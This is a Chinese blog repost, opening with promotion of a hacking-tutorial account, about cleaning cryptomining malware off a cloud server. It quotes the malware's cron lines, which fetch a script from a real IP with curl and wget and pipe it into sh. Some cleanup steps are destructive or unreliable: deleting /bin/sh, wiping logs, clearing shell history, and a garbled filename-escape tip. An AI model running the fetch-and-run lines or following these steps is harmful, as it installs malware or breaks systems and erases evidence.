大家好!我是每天为大家分享好文的柠檬!与你一起成长~
有需要体系化黑客渗透视频教程可搜索公众号:暗网黑客
(公众号后台回复:tt ,还可额外获得黑客电子书籍)
今天分享一篇老文,重在思路!
公司有台做voip的服务器最近CPU总是跑满,这机器自从交给厂家搭好环境后基本就没怎么管它,于是进去查看进程,top了下(见下图)
这个叫wnTKYg的进程很诡异,已经把CPU吃光了,上网一查,原来是中了挖矿的马。
(啊,我的天。这只是一个单核1G内存的阿里云主机)
既然被***了,那就得干掉它,下面是解决过程:
1:第一步要先找到这个wnTKYg文件实体,对了还有一个叫ddg.2020的进程。
[root@alitest ~]$ find / -name wnTKYg/tmp/wnTKYg[root@alitest ~]$ find / -name ddg*/tmp/ddg.2020
2:接着把这两个文件的可执行权限拿掉。
[root@alitest ~]$ cd /tmp[root@alitest /tmp]$ chmod -x ddg.2020 wnTKYg
3:杀掉这该死的进程。
[root@alitest /tmp]$ ps -ef | grep -v grep | egrep 'wnTKYg|ddg' | awk '{print $2}' | xargs kill -9
4:清除无用的定时任务。
[root@alitest /tmp]$ crontab -l*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
这是挖矿程序生成的定时任务,不清除掉待会进程又起来了。
[root@alitest /tmp]$ echo > /var/spool/cron/root
因为这台机器上没有做定时任务,所以就直接清除掉了,如果有其他在用的定时任务,不要这样哦。
5:删除挖矿程序。
[root@alitest /tmp]$ rm -f ddg.2020 wnTKYg
6:清除.ssh/下的公钥文件。
[root@alitest ~/.ssh]$ cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUGqxNBCvqd+VNZTcSjyV3bs67sqwXSV+XztaY9QN/DDfeXEfWztdaXPbJvmLE34G.........ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxV.................
这台机器并没有上传过公钥文件,所以这就是***者留下的咯,删掉删掉。
[root@alitest ~/.ssh]$ rm -f authorized_keys
至此,***就已经清理完毕了。
小结:
在网上查了一下,发现大部分挖矿***都发生在redis上,而我这台服务器并没有部署redis,而是当时厂家给装的一套voip环境,因此我怀疑是voip软件的漏洞导致了此次事件,之后再联系厂家看看。
通过这次服务器被***的案例,再一次印证了安全的重要性,安全无小事,继续努力吧。
继上面的挖矿木马解决后,很有自豪感,但是在今天2018-09-09收到阿里云的态势感知的通知又有挖矿病毒了,于是解决。。。
2018-09-09周五 阿里云态势感知通知 检测到服务器有异常文件下载,当时没太注意,执行下面操作解决问题(简单针对于minerd处理)
1、执行 top -i命令查看cpu 使用总过高,使用top -l 查看到是minerd作祟,
2、果断ps -ef | grep ‘minerd’ 查看pid,
3、使用kill -9 程序的pid 杀死掉,
4、到 cd /tmp/下查看是否存有临时文件,如果有rm -rf 删除,没有就算了
5、crontab -l 查看是否有定时,有的话到cd /etc/crontab 查看是否有陌生的定时任务,如果有也是直接删除,
6、然后top 再查看,成功了,然后查阅了资料,说redis 漏洞,果断修改了ssh密码,修改redis的端口,修改了登录数据库密码,一切看起来就是这么简单
xx.xx.xxx.xx(ixxxxx...)出现了可疑安全事件:linux异常文件下载 ,建议您立即登录云盾-态势感知控制台查看详情和处理。
于是登录服务器查看。我嘞靠,输入一条命令ls 反应比乌龟还慢,然后每条命令反应都在3秒才能出结果,靠,3秒男人,我可受不了,于是从花了一天时间才解决掉,废话够多了,看下面,
1、命令 top 查看,我去,满满的cpu,但是怎么看不到那个进程占用了CPU呢
2、于是又 使用crontab -l 查看,赤裸裸定时任务,这又是什么鬼,矿机不是解决了吗?这那来的任务,
清除无用的定时任务。
这是挖矿程序生成的定时任务,不清除掉待会进程又起来了。
[root@alitest /tmp]$ echo > /var/spool/cron/root[root@alitest /tmp]$ echo > /var/spool/cron/crontabs/root[root@alitest /tmp]$ echo > /etc/cron.d/root
因为这台机器上没有做定时任务,所以就直接清除掉了,如果有其他在用的定时任务,不要这样哦。
4、cd /tmp/ 下,三个莫名其妙出现的文件,果断 rm -rf 文件名删除
注意:在/tmp/下有一个文件名字是 Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
删除这个文件的时候报错:-bash: syntax error near unexpected token `('
百度之后要这样删除 rm -rf Aegis-<Guid5A2C30A2−A87D−490A−9281−6765EDAD7CBA5A2C30A2−A87D−490A−9281−6765EDAD7CBA>
在每个括号前面加上,因为在linux5.0之后,是不能带有括号的,这个时候就需要转译了
5、ls -al 看下,果然还有隐藏文件,通通删除
6、去cd /etc/crontab ,删除定时任务,然后top -i,得到如下,cup依然张立在哪里,懵逼
7、top -b 多了一个Python,干啥的不知道,查看删除进程python
8、最后去查看日志,如下顺着这个日志一步一步走下去,
9、cd /etc,下rm -rf ld.so.preload
10、cd /usr/local/lib下 rm -rf libjdk.so
11、再去cd /etc/crontab ,查看有没有定时任务,有删除,
12、去cd /tmp下,有也统统删除,
13、top -b 居然有3个资源kworkerrds占据cpu 33%,终于找到你,尼玛,还好没放弃,由于当时找到目标,太过激动没截图,因为已经下午5点了,花了大量时间找原因,看日志,查资料,
14、于是果断ps -ef | grep kworkerds,赤裸裸就是你
15、kill -9 pid ,history -c清除记录(下面解释)
16,top ,终于下来了,心累呀
17、之前花了大量时间查看原因,原来是黑客通过在我日志里面留下了程序,我之前清除了minerd,然后又通过日志里面的程序进行了一个脚本任务,通过这个脚本获取操作记录,(为什么history -c清除记录),然后再次侵入我的服务器,现在是21:00,心累,
18、对了,还有如下操作,这才完美收官。cd /var/log
19、可疑的日志通通删除,
20、记得修改所有密码,记得history -c
上面的方法如果没有效果可以结合下面的方法一起使用
A:先把定时任务删除掉
rm -rf /etc/cron.d/root
rm -rf /var/spool/cron/crontabs
rm -rf /bin/sh /var/spool/cron/root
B:删掉重启系统后执行脚本
rm -rf /bin/httpDNS
C:删掉挖矿执行脚本
rm -rf /tmp/kworkerds
D: 删除修top显示命令的脚本 (导致top查询不处理此挖矿进程)
rm -rf /usr/local/lib/libntp.so
E:删除python执行文件
rm -rf /tmp/.tmpa
F: 再用Top命令,就可以找出此耗cpu进程
7:kill 掉此进程
9:修改redis 密码,最好修改bind 为127.0.0.1
作者:dabao87